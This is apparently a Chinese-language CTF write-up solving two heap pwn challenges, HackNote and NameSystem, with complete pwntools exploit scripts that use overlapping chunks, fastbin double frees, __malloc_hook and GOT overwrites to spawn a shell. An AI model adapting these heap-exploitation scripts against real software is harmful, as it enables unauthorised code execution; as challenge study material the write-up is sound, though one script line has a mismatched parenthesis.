历时12h,两道pwn。比赛如何不评价,默默做题。

HackNote

题目有add、delete、edit

啥保护也没开,有问题

edit里平白无故多算一次size,很有问题,可以构造off by 好几个

此外这题的难点还在于这题是静态编译的,shellcode不知道往哪写,我一开始找了几个静态的地方,等我想调用它的时候吧,内容就变了。反正后来就随便找到一40的size位就用上了,是IOFILE前面的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
debug=1
if debug==0:
io = remote()
elf=ELF("./HackNote")
elif debug==1:
io = process("./HackNote")
elf=ELF("./HackNote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

def add(size,content):
ru('-----------------\n')
sl(1)
ru('Input the Size:\n')
sl(size)
ru('Input the Note:\n')
s(content)

def delete(i):#once
ru('-----------------\n')
sl(2)
ru('Input the Index of Note:\n')
sl(i)

def edit(i,content):
ru('-----------------\n')
sl(3)
ru('Input the Index of Note:\n')
sl(i)
ru('Input the Note:\n')
s(content)

add(0x88,"0"*0x88)
edit(0,"0"*0x88)
add(0x40-8,"1"*0x38)
edit(1,"1"*0x38)
add(0x88,"2"*0x88)
edit(2,"2"*0x88)
add(0x88,"3"*0x88)
edit(3,"3"*0x88)
add(0x88,"4"*0x88)
edit(4,"4"*0x88)
delete(0)

#overlap
edit(2,"2"*0x80+p64(0x90+0x40+0x90)+'\x90\n')
delete(3)

delete(1)
c=''
c+="0"*0x88
c+=p64(0x40+1)
scaddr=0x006cb0c0-0x26-8
c+=p64(scaddr)#shellcode addr
c+='\n'
add(0x90+0x40+0x90+0x90-8,c)#0
add(0x40-8,'\n')#1
add(0x40-8,shellcode+'\n')#3

delete(1)
c=''
c+="0"*0x88
c+=p64(0x41)
c+=p64(0x6cb788-0x10+2-8)#malloc hook
c+='\n'
edit(0,c)
add(0x40-8,'\n')#1
add(0x40-8,'\x00'*6+p64(scaddr+0x10)+'\n')#3

#getshell
ru('-----------------\n')
sl(1)
ru('Input the Size:\n')
sl(0x20)
io.interactive()

NameSystem

功能有add、drop

add有大小限制[0x10,0x60]

drop有一个逻辑漏洞,当我有20个name的时候,我随便drop一个,第18和第19个会指向同一个地址(从0开始数)。

利用方法是改got表。首先把free改成puts,同时伪造一个name的地址为一个函数的got表地址,泄露libc;然后把free改成system,执行system(‘/bin/sh’)。

此外,题目里可用的size位只有0x60和0x70,我做的时候用了2个现成的size位fastbin attack泄露了地址之后就不知道该咋做了,赛后听了学弟的思路,可以提前写好一个size位用来构造第三个fastbin,tcml,以前也做过构造size位的题,但就是没想到哎:P

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
debug=1
if debug==0:
io = remote()
elif debug==1:
io = process("./NameSystem")
elf = ELF("./NameSystem")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

def add(size,name):
ru("Your choice :\n")#[10,60]
sl(1)
ru('Name Size:')
sl(size)
ru('Name:')
sl(name)

def drop(i):
ru("Your choice :\n")
sl(3)
ru('The id you want to delete:')
sl(i)

for i in range(18):
add(0x10,"1"*1)
#0x70 double free
add(0x60,"1"*10)
add(0x60,"1"*10)
drop(0)
drop(0)
drop(19)
drop(16)
drop(17)

#0x60 doublefree
add(0x60-8,"1"*10)
add(0x60-8,"1"*10)
add(0x60-8,"1"*10)
drop(0)
drop(0)
drop(19)
drop(16)
drop(17)

#0x50 doublefree
add(0x50-8,"1"*10)
add(0x50-8,"1"*10)
add(0x50-8,"1"*10)
drop(0)
drop(0)
drop(19)
drop(16)
drop(17)

#rangwei
for i in range(8):
drop(0)
#free->puts
add(0x60-8,p64(0x602000-6))
add(0x60-8,'1')
add(0x60-8,'1')
add(0x60-8,p64(0x50)+'\x00'*6+elf.plt['puts'])[0:6])

#a name's address ->got[atoi]
add(0x60,p64(0x6020a0-0x13))
add(0x60,'1')
add(0x60,'1')
add(0x60,'\x00'*3+p64(elf.got['atoi']))

#leak libc :puts got[atoi]
drop(0)
atoi_addr=u64(ru('\n').ljust(8,'\x00'))
log.info(hex(atoi_addr))
searcher=LibcSearcher("atoi",int(atoi_addr))
base=atoi_addr-searcher.dump('atoi')

#free->system
add(0x50-8,p64(0x602002))
add(0x50-8,'/bin/sh\x00')
add(0x50-8,'1')
add(0x50-8,'\x00'*6+p64(base+searcher.dump('system'))[0:6])

#getshell
drop(17)

io.interactive()

还有很长的路要走…